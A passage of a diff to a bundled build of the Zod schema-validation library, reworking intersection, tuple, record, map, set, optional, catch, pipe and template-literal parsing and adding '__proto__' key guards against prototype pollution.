$constructor("$ZodDiscriminatedUnio var $ZodIntersection = /* @__PURE__ */ $constructor("$ZodIntersection", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - const left = def.left._zod.run({ value: input, issues: [] }, ctx); - const right = def.right._zod.run({ value: input, issues: [] }, ctx); + const input2 = payload.value; + const left = def.left._zod.run({ value: input2, issues: [] }, ctx); + const right = def.right._zod.run({ value: input2, issues: [] }, ctx); const async = left instanceof Promise || right instanceof Promise; if (async) { return Promise.all([left, right]).then(([left2, right2]) => { @@ -58154,7 +58722,11 @@ function mergeValues(a, b2) { const bKeys = Object.keys(b2); const sharedKeys = Object.keys(a).filter((key) => bKeys.indexOf(key) !== -1); const newObj = { ...a, ...b2 }; + if (Object.prototype.hasOwnProperty.call(newObj, "__proto__")) + delete newObj.__proto__; for (const key of sharedKeys) { + if (key === "__proto__") + continue; const sharedValue = mergeValues(a[key], b2[key]); if (!sharedValue.valid) { return { @@ -58190,37 +58762,49 @@ function mergeValues(a, b2) { function handleIntersectionResults(result, left, right) { const unrecKeys = /* @__PURE__ */ new Map(); let unrecIssue; - for (const iss of left.issues) { - if (iss.code === "unrecognized_keys") { + const keyIssues = /* @__PURE__ */ new Map(); + const collect = (iss, side) => { + let keys; + if (iss.code === "unrecognized_keys" && !iss.path?.length) { unrecIssue ?? (unrecIssue = iss); - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).l = true; - } + keys = iss.keys; + } else if (iss.code === "invalid_key" && iss.origin === "record" && iss.path?.length === 1) { + const k = String(iss.path[0]); + if (!keyIssues.has(k)) + keyIssues.set(k, iss); + keys = [k]; } else { - result.issues.push(iss); + return false; + } + for (const k of keys) { + if (!unrecKeys.has(k)) + unrecKeys.set(k, {}); + unrecKeys.get(k)[side] = true; } + return true; + }; + for (const iss of left.issues) { + if (!collect(iss, "l")) + result.issues.push(iss); } for (const iss of right.issues) { - if (iss.code === "unrecognized_keys") { - for (const k of iss.keys) { - if (!unrecKeys.has(k)) - unrecKeys.set(k, {}); - unrecKeys.get(k).r = true; - } - } else { + if (!collect(iss, "r")) result.issues.push(iss); - } } const bothKeys = [...unrecKeys].filter(([, f]) => f.l && f.r).map(([k]) => k); - if (bothKeys.length && unrecIssue) { - result.issues.push({ ...unrecIssue, keys: bothKeys }); + if (bothKeys.length) { + const aggregated = unrecIssue ? bothKeys.filter((k) => unrecIssue.keys.includes(k)) : []; + if (aggregated.length) + result.issues.push({ ...unrecIssue, keys: aggregated }); + for (const k of bothKeys) { + if (!aggregated.includes(k) && keyIssues.has(k)) + result.issues.push(keyIssues.get(k)); + } } - if (aborted(result)) - return result; const merged = mergeValues(left.value, right.value); if (!merged.valid) { + if (aborted(result)) + return result; throw new Error(`Unmergable intersection. Error path: ${JSON.stringify(merged.mergeErrorPath)}`); } result.value = merged.data; @@ -58229,59 +58813,71 @@ function handleIntersectionResults(result, left, right) { var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { $ZodType.init(inst, def); const items = def.items; + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!Array.isArray(input)) { + const input2 = payload.value; + if (!Array.isArray(input2)) { payload.issues.push({ - input, + input: input2, inst, expected: "tuple", code: "invalid_type" }); return payload; } - payload.value = []; + payload.value = memo2 ? memo2.alloc(inst, payload, [], ctx) : []; const proms = []; const optinStart = getTupleOptStart(items, "optin"); const optoutStart = getTupleOptStart(items, "optout"); if (!def.rest) { - if (input.length < optinStart) { + if (input2.length < optinStart) { payload.issues.push({ code: "too_small", minimum: optinStart, inclusive: true, - input, + input: input2, inst, origin: "array" }); return payload; } - if (input.length > items.length) { + if (input2.length > items.length) { payload.issues.push({ code: "too_big", maximum: items.length, inclusive: true, - input, + input: input2, inst, origin: "array" }); } } const itemResults = new Array(items.length); + const abortEarly = def.rest ? ctx?.abortEarly : void 0; + let itemAborted = false; for (let i = 0; i < items.length; i++) { - const r = items[i]._zod.run({ value: input[i], issues: [] }, ctx); + const r = items[i]._zod.run({ value: input2[i], issues: [] }, ctx); if (r instanceof Promise) { proms.push(r.then((rr) => { itemResults[i] = rr; })); } else { itemResults[i] = r; + if (abortEarly && !itemAborted && r.issues.length) + itemAborted = aborted(r); } } - if (def.rest) { + if (def.rest && !itemAborted) { let i = items.length - 1; - const rest = input.slice(items.length); + const rest = input2.slice(items.length); + let seen = payload.issues.length; for (const el of rest) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } i++; const result = def.rest._zod.run({ value: el, issues: [] }, ctx); if (result instanceof Promise) { @@ -58292,14 +58888,15 @@ var $ZodTuple = /* @__PURE__ */ $constructor("$ZodTuple", (inst, def) => { } } if (proms.length) { - return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input, optoutStart)); + return Promise.all(proms).then(() => handleTupleResults(itemResults, payload, items, input2, optoutStart)); } - return handleTupleResults(itemResults, payload, items, input, optoutStart); + return handleTupleResults(itemResults, payload, items, input2, optoutStart); }; }); function getTupleOptStart(items, key) { for (let i = items.length - 1; i >= 0; i--) { - if (items[i]._zod[key] !== "optional") + const omittable = key === "optin" ? items[i]._zod.optin !== void 0 : items[i]._zod.optout === "optional"; + if (!omittable) return i + 1; } return 0; @@ -58310,10 +58907,14 @@ function handleTupleResult(result, final, index2) { } final.value[index2] = result.value; } -function handleTupleResults(itemResults, final, items, input, optoutStart) { +function handleTupleResults(itemResults, final, items, input2, optoutStart) { for (let i = 0; i < items.length; i++) { const r = itemResults[i]; - const isPresent = i < input.length; + const isPresent = i < input2.length; + if (!isPresent && i >= optoutStart && items[i]._zod.optin === "optional") { + final.value.length = i; + break; + } if (r.issues.length) { if (!isPresent && i >= optoutStart) { final.value.length = i; @@ -58323,7 +58924,7 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } final.value[i] = r.value; } - for (let i = final.value.length - 1; i >= input.length; i--) { + for (let i = final.value.length - 1; i >= input2.length; i--) { if (items[i]._zod.optout === "optional" && final.value[i] === void 0) { final.value.length = i; } else { @@ -58334,25 +58935,29 @@ function handleTupleResults(itemResults, final, items, input, optoutStart) { } var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!isPlainObject(input)) { + const input2 = payload.value; + if (!isPlainObject(input2)) { payload.issues.push({ expected: "record", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; const values2 = def.keyType._zod.values; - if (values2) { - payload.value = {}; + if (values2 && !def.partial) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; const recordKeys = /* @__PURE__ */ new Set(); for (const key of values2) { if (typeof key === "string" || typeof key === "number" || typeof key === "symbol") { recordKeys.add(typeof key === "number" ? key.toString() : key); + if (key === "__proto__") + continue; const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { throw new Error("Async schemas not supported in object keys currently"); @@ -58369,7 +58974,9 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { continue; } const outKey = keyResult.value; - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { @@ -58386,26 +58993,34 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } } let unrecognized; - for (const key in input) { + for (const key in input2) { if (!recordKeys.has(key)) { - unrecognized = unrecognized ?? []; - unrecognized.push(key); + if (def.mode === "loose") { + if (key === "__proto__") + continue; + payload.value[key] = input2[key]; + } else { + unrecognized = unrecognized ?? []; + unrecognized.push(key); + } } } if (unrecognized && unrecognized.length > 0) { payload.issues.push({ code: "unrecognized_keys", - input, + input: input2, inst, - keys: unrecognized + keys: unrecognized, + continue: true }); } } else { - payload.value = {}; - for (const key of Reflect.ownKeys(input)) { + payload.value = memo2 ? memo2.alloc(inst, payload, {}, ctx) : {}; + let unrecognized; + for (const key of Reflect.ownKeys(input2)) { if (key === "__proto__") continue; - if (!Object.prototype.propertyIsEnumerable.call(input, key)) + if (!Object.prototype.propertyIsEnumerable.call(input2, key)) continue; let keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); if (keyResult instanceof Promise) { @@ -58423,7 +59038,10 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } if (keyResult.issues.length) { if (def.mode === "loose") { - payload.value[key] = input[key]; + payload.value[key] = input2[key]; + } else if (values2) { + unrecognized = unrecognized ?? []; + unrecognized.push(key); } else { payload.issues.push({ code: "invalid_key", @@ -58436,21 +59054,33 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { } continue; } - const result = def.valueType._zod.run({ value: input[key], issues: [] }, ctx); + const outKey = keyResult.value; + if (outKey === "__proto__") + continue; + const result = def.valueType._zod.run({ value: input2[key], issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => { if (result2.issues.length) { payload.issues.push(...prefixIssues(key, result2.issues)); } - payload.value[keyResult.value] = result2.value; + payload.value[outKey] = result2.value; })); } else { if (result.issues.length) { payload.issues.push(...prefixIssues(key, result.issues)); } - payload.value[keyResult.value] = result.value; + payload.value[outKey] = result.value; } } + if (unrecognized && unrecognized.length > 0) { + payload.issues.push({ + code: "unrecognized_keys", + input: input2, + inst, + keys: unrecognized, + continue: true + }); + } } if (proms.length) { return Promise.all(proms).then(() => payload); @@ -58460,36 +59090,46 @@ var $ZodRecord = /* @__PURE__ */ $constructor("$ZodRecord", (inst, def) => { }); var $ZodMap = /* @__PURE__ */ $constructor("$ZodMap", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Map)) { + const input2 = payload.value; + if (!(input2 instanceof Map)) { payload.issues.push({ expected: "map", code: "invalid_type", - input, + input: input2, inst }); return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Map(); - for (const [key, value] of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Map(), ctx) : /* @__PURE__ */ new Map(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const [key, value] of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const keyResult = def.keyType._zod.run({ value: key, issues: [] }, ctx); const valueResult = def.valueType._zod.run({ value, issues: [] }, ctx); if (keyResult instanceof Promise || valueResult instanceof Promise) { proms.push(Promise.all([keyResult, valueResult]).then(([keyResult2, valueResult2]) => { - handleMapResult(keyResult2, valueResult2, payload, key, input, inst, ctx); + handleMapResult(keyResult2, valueResult2, payload, key, input2, inst, ctx); })); } else { - handleMapResult(keyResult, valueResult, payload, key, input, inst, ctx); + handleMapResult(keyResult, valueResult, payload, key, input2, inst, ctx); } } if (proms.length) return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, mapSize); }); -function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { +function handleMapResult(keyResult, valueResult, final, key, input2, inst, ctx) { if (keyResult.issues.length) { if (propertyKeyTypes.has(typeof key)) { final.issues.push(...prefixIssues(key, keyResult.issues)); @@ -58497,7 +59137,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ code: "invalid_key", origin: "map", - input, + input: input2, inst, issues: keyResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) }); @@ -58510,7 +59150,7 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { final.issues.push({ origin: "map", code: "invalid_element", - input, + input: input2, inst, key, issues: valueResult.issues.map((iss) => finalizeIssue(iss, ctx, config())) @@ -58521,11 +59161,13 @@ function handleMapResult(keyResult, valueResult, final, key, input, inst, ctx) { } var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { $ZodType.init(inst, def); + const memo2 = globalConfig.memoizer; + memo2?.attach(inst); inst._zod.parse = (payload, ctx) => { - const input = payload.value; - if (!(input instanceof Set)) { + const input2 = payload.value; + if (!(input2 instanceof Set)) { payload.issues.push({ - input, + input: input2, inst, expected: "set", code: "invalid_type" @@ -58533,8 +59175,15 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return payload; } const proms = []; - payload.value = /* @__PURE__ */ new Set(); - for (const item of input) { + payload.value = memo2 ? memo2.alloc(inst, payload, /* @__PURE__ */ new Set(), ctx) : /* @__PURE__ */ new Set(); + const abortEarly = ctx?.abortEarly; + let seen = payload.issues.length; + for (const item of input2) { + if (abortEarly && payload.issues.length !== seen) { + if (aborted(payload, seen)) + break; + seen = payload.issues.length; + } const result = def.valueType._zod.run({ value: item, issues: [] }, ctx); if (result instanceof Promise) { proms.push(result.then((result2) => handleSetResult(result2, payload))); @@ -58545,6 +59194,7 @@ var $ZodSet = /* @__PURE__ */ $constructor("$ZodSet", (inst, def) => { return Promise.all(proms).then(() => payload); return payload; }; + capSize(inst, setSize); }); function handleSetResult(result, final) { if (result.issues.length) { @@ -58557,16 +59207,19 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { const values2 = getEnumValues(def.entries); const valuesSet = new Set(values2); inst._zod.values = valuesSet; - inst._zod.pattern = new RegExp(`^(${values2.filter((k) => propertyKeyTypes.has(typeof k)).map((o) => typeof o === "string" ? escapeRegex(o) : o.toString()).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const patternValues = getEnumValues(zod.def.entries).filter((k) => propertyKeyTypes.has(typeof k)); + return new RegExp(patternValues.length ? `^(${patternValues.map((o) => escapeRegex(o.toString())).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (valuesSet.has(input)) { + const input2 = payload.value; + if (valuesSet.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: values2, - input, + input: input2, inst }); return payload; @@ -58574,21 +59227,21 @@ var $ZodEnum = /* @__PURE__ */ $constructor("$ZodEnum", (inst, def) => { }); var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { $ZodType.init(inst, def); - if (def.values.length === 0) { - throw new Error("Cannot create literal schema with no valid values"); - } const values2 = new Set(def.values); inst._zod.values = values2; - inst._zod.pattern = new RegExp(`^(${def.values.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$`); + defineLazyInternal(inst, "pattern", (zod) => { + const vals = zod.def.values; + return new RegExp(vals.length ? `^(${vals.map((o) => typeof o === "string" ? escapeRegex(o) : o ? escapeRegex(o.toString()) : String(o)).join("|")})$` : "^[^\\s\\S]$"); + }); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (values2.has(input)) { + const input2 = payload.value; + if (values2.has(input2)) { return payload; } payload.issues.push({ code: "invalid_value", values: def.values, - input, + input: input2, inst }); return payload; @@ -58597,13 +59250,13 @@ var $ZodLiteral = /* @__PURE__ */ $constructor("$ZodLiteral", (inst, def) => { var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { $ZodType.init(inst, def); inst._zod.parse = (payload, _ctx) => { - const input = payload.value; - if (input instanceof File) + const input2 = payload.value; + if (input2 instanceof File) return payload; payload.issues.push({ expected: "file", code: "invalid_type", - input, + input: input2, inst }); return payload; @@ -58612,16 +59265,16 @@ var $ZodFile = /* @__PURE__ */ $constructor("$ZodFile", (inst, def) => { var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => { $ZodType.init(inst, def); inst._zod.optin = "optional"; + globalConfig.memoizer?.guard(inst); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { throw new $ZodEncodeError(inst.constructor.name); } const _out = def.transform(payload.value, payload); if (ctx.async) { - const output = _out instanceof Promise ? _out : Promise.resolve(_out); - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = _out instanceof Promise ? _out : Promise.resolve(_out); + return output2.then((output3) => { + payload.value = output3; return payload; }); } @@ -58629,59 +59282,55 @@ var $ZodTransform = /* @__PURE__ */ $constructor("$ZodTransform", (inst, def) => throw new $ZodAsyncError(); } payload.value = _out; - payload.fallback = true; return payload; }; }); -function handleOptionalResult(result, input) { - if (input === void 0 && (result.issues.length || result.fallback)) { - return { issues: [], value: void 0 }; - } - return result; +function handleOptionalResult(payload, result) { + payload.value = result.issues.length ? void 0 : result.value; + return payload; } var $ZodOptional = /* @__PURE__ */ $constructor("$ZodOptional", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); inst._zod.optout = "optional"; - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, void 0]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + const values2 = zod.def.innerType._zod.values; + return values2 ? /* @__PURE__ */ new Set([...values2, void 0]) : void 0; }); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)})?$`) : void 0; }); inst._zod.parse = (payload, ctx) => { - if (def.innerType._zod.optin === "optional") { - const input = payload.value; - const result = def.innerType._zod.run(payload, ctx); - if (result instanceof Promise) - return result.then((r) => handleOptionalResult(r, input)); - return handleOptionalResult(result, input); - } if (payload.value === void 0) { - return payload; + if (def.innerType._zod.optin !== "defaulted") + return payload; + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); + if (result instanceof Promise) + return result.then((result2) => handleOptionalResult(payload, result2)); + return handleOptionalResult(payload, result); } return def.innerType._zod.run(payload, ctx); }; }); var $ZodExactOptional = /* @__PURE__ */ $constructor("$ZodExactOptional", (inst, def) => { $ZodOptional.init(inst, def); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "pattern", () => def.innerType._zod.pattern); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "pattern", (zod) => zod.def.innerType._zod.pattern); inst._zod.parse = (payload, ctx) => { return def.innerType._zod.run(payload, ctx); }; }); var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "optin", () => def.innerType._zod.optin); - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "pattern", () => { - const pattern = def.innerType._zod.pattern; + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "pattern", (zod) => { + const pattern = zod.def.innerType._zod.pattern; return pattern ? new RegExp(`^(${cleanRegex(pattern.source)}|null)$`) : void 0; }); - defineLazy(inst._zod, "values", () => { - return def.innerType._zod.values ? /* @__PURE__ */ new Set([...def.innerType._zod.values, null]) : void 0; + defineLazyInternal(inst, "values", (zod) => { + return zod.def.innerType._zod.values ? /* @__PURE__ */ new Set([...zod.def.innerType._zod.values, null]) : void 0; }); inst._zod.parse = (payload, ctx) => { if (payload.value === null) @@ -58691,8 +59340,8 @@ var $ZodNullable = /* @__PURE__ */ $constructor("$ZodNullable", (inst, def) => { }); var $ZodDefault = /* @__PURE__ */ $constructor("$ZodDefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58716,8 +59365,8 @@ function handleDefaultResult(payload, def) { } var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + inst._zod.optin = "defaulted"; + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58730,8 +59379,8 @@ var $ZodPrefault = /* @__PURE__ */ $constructor("$ZodPrefault", (inst, def) => { }); var $ZodNonOptional = /* @__PURE__ */ $constructor("$ZodNonOptional", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => { - const v = def.innerType._zod.values; + defineLazyInternal(inst, "values", (zod) => { + const v = zod.def.innerType._zod.values; return v ? new Set([...v].filter((x) => x !== void 0)) : void 0; }); inst._zod.parse = (payload, ctx) => { @@ -58770,46 +59419,37 @@ var $ZodSuccess = /* @__PURE__ */ $constructor("$ZodSuccess", (inst, def) => { return payload; }; }); +function handleCatchResult(payload, result, def, ctx) { + if (!result.issues.length) { + payload.value = result.value; + if (result.memo) + payload.memo = true; + return payload; + } + payload.value = def.catchValue({ + ...result, + value: payload.value, + error: { + issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) + }, + input: payload.value + }); + return payload; +} var $ZodCatch = /* @__PURE__ */ $constructor("$ZodCatch", (inst, def) => { $ZodType.init(inst, def); - inst._zod.optin = "optional"; - defineLazy(inst._zod, "optout", () => def.innerType._zod.optout); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType._zod.optin === "defaulted" ? "defaulted" : "optional"); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType._zod.optout); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); } - const result = def.innerType._zod.run(payload, ctx); + const result = def.innerType._zod.run({ value: payload.value, issues: [] }, ctx); if (result instanceof Promise) { - return result.then((result2) => { - payload.value = result2.value; - if (result2.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result2.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; - } - return payload; - }); - } - payload.value = result.value; - if (result.issues.length) { - payload.value = def.catchValue({ - ...payload, - error: { - issues: result.issues.map((iss) => finalizeIssue(iss, ctx, config())) - }, - input: payload.value - }); - payload.issues = []; - payload.fallback = true; + return result.then((result2) => handleCatchResult(payload, result2, def, ctx)); } - return payload; + return handleCatchResult(payload, result, def, ctx); }; }); var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { @@ -58829,10 +59469,10 @@ var $ZodNaN = /* @__PURE__ */ $constructor("$ZodNaN", (inst, def) => { }); var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { const right = def.out._zod.run(payload, ctx); @@ -58849,18 +59489,18 @@ var $ZodPipe = /* @__PURE__ */ $constructor("$ZodPipe", (inst, def) => { }; }); function handlePipeResult(left, next, ctx) { - if (left.issues.length) { + if (left.issues.some((iss) => iss.code !== "unrecognized_keys")) { left.aborted = true; return left; } - return next._zod.run({ value: left.value, issues: left.issues, fallback: left.fallback }, ctx); + return next._zod.run({ value: left.value, issues: left.issues }, ctx); } var $ZodCodec = /* @__PURE__ */ $constructor("$ZodCodec", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "values", () => def.in._zod.values); - defineLazy(inst._zod, "optin", () => def.in._zod.optin); - defineLazy(inst._zod, "optout", () => def.out._zod.optout); - defineLazy(inst._zod, "propValues", () => def.in._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.in._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.in._zod.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.out._zod.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.in._zod.propValues); inst._zod.parse = (payload, ctx) => { const direction = ctx.direction || "forward"; if (direction === "forward") { @@ -58910,10 +59550,10 @@ var $ZodPreprocess = /* @__PURE__ */ $constructor("$ZodPreprocess", (inst, def) }); var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { $ZodType.init(inst, def); - defineLazy(inst._zod, "propValues", () => def.innerType._zod.propValues); - defineLazy(inst._zod, "values", () => def.innerType._zod.values); - defineLazy(inst._zod, "optin", () => def.innerType?._zod?.optin); - defineLazy(inst._zod, "optout", () => def.innerType?._zod?.optout); + defineLazyInternal(inst, "propValues", (zod) => zod.def.innerType._zod.propValues); + defineLazyInternal(inst, "values", (zod) => zod.def.innerType._zod.values); + defineLazyInternal(inst, "optin", (zod) => zod.def.innerType?._zod?.optin); + defineLazyInternal(inst, "optout", (zod) => zod.def.innerType?._zod?.optout); inst._zod.parse = (payload, ctx) => { if (ctx.direction === "backward") { return def.innerType._zod.run(payload, ctx); @@ -58926,23 +59566,66 @@ var $ZodReadonly = /* @__PURE__ */ $constructor("$ZodReadonly", (inst, def) => { }; }); function handleReadonlyResult(payload) { - payload.value = Object.freeze(payload.value); + if (!payload.memo) + payload.value = Object.freeze(payload.value); return payload; } +function leafPattern(schema) { + const def = schema._zod.def; + let pattern = def.pattern; + let isInt = !!def.format?.includes("int"); + let minimum; + let maximum; + for (const ch of def.checks ?? []) { + const d = ch._zod.def; + if (d.pattern) + pattern = d.pattern; + isInt || (isInt = !!d.format?.includes("int")); + const lo = d.minimum ?? d.length; + const hi = d.maximum ?? d.length; + if (lo !== void 0 && (minimum === void 0 || lo > minimum)) + minimum = lo; + if (hi !== void 0 && (maximum === void 0 || hi < maximum)) + maximum = hi; + } + if (pattern) + return pattern.source; + if (minimum !== void 0 && maximum !== void 0 && minimum > maximum) + return "(?!)"; + if (minimum !== void 0 || maximum !== void 0) + return string({ minimum, maximum }).source; + const own2 = schema._zod.pattern; + return (isInt && own2 === number ? integer : own2)?.source; +} +function partPattern(schema) { + const def = schema._zod.def; + const own2 = schema._zod.pattern?.source; + const inner = def.innerType ?? schema._zod.innerType; + if (inner) { + const before = inner._zod.pattern?.source; + const after = partPattern(inner); + if (own2 && before && after && after !== before) { + return own2.replace(cleanRegex(before), () => cleanRegex(after)); + } + return own2; + } + if (def.options) { + const sources = def.options.map(partPattern); + if (sources.every(Boolean)) + return `^(${sources.map((s) => cleanRegex(s)).join("|")})$`; + } + return leafPattern(schema); +} var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (inst, def) => { $ZodType.init(inst, def); const regexParts = []; for (const part of def.parts) { if (typeof part === "object" && part !== null) { - if (!part._zod.pattern) { + const source = partPattern(part); + if (!source) { throw new Error(`Invalid template literal part, no pattern found: ${[...part._zod.traits].shift()}`); } - const source = part._zod.pattern instanceof RegExp ? part._zod.pattern.source : part._zod.pattern; - if (!source) - throw new Error(`Invalid template literal part: ${part._zod.traits}`); - const start = source.startsWith("^") ? 1 : 0; - const end = source.endsWith("$") ? source.length - 1 : source.length; - regexParts.push(source.slice(start, end)); + regexParts.push(cleanRegex(source)); } else if (part === null || primitiveTypes.has(typeof part)) { regexParts.push(escapeRegex(`${part}`)); } else { @@ -58976,33 +59659,33 @@ var $ZodTemplateLiteral = /* @__PURE__ */ $constructor("$ZodTemplateLiteral", (i }); var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { $ZodType.init(inst, def); - inst._def = def; + Object.defineProperty(inst, "_def", { value: def }); inst._zod.def = def; inst.implement = (func) => { if (typeof func !== "function") { throw new Error("implement() must be called with a function"); } - return function(...args) { + return Object.defineProperty(function(...args) { const parsedArgs = inst._def.input ? parse(inst._def.input, args) : args; const result = Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return parse(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst.implementAsync = (func) => { if (typeof func !== "function") { throw new Error("implementAsync() must be called with a function"); } - return async function(...args) { + return Object.defineProperty(async function(...args) { const parsedArgs = inst._def.input ? await parseAsync(inst._def.input, args) : args; const result = await Reflect.apply(func, this, parsedArgs); if (inst._def.output) { return await parseAsync(inst._def.output, result); } return result; - }; + }, "_zod", { value: inst._zod, enumerable: false }); }; inst._zod.parse = (payload, _ctx) => { if (typeof payload.value !== "function") { @@ -59041,12 +59724,12 @@ var $ZodFunction = /* @__PURE__ */ $constructor("$ZodFunction", (inst, def) => { output: inst._def.output }); }; - inst.output = (output) => { + inst.output = (output2) => { const F = inst.constructor; return new F({ type: "function", input: inst._def.input, - output + output: output2 }); }; return inst; @@ -59065,10 +59748,10 @@ var $ZodLazy = /* @__PURE__ */ $constructor("$ZodLazy", (inst, def) => { d._cachedInner = def.getter(); return d._cachedInner; }); - defineLazy(inst._zod, "pattern", () => 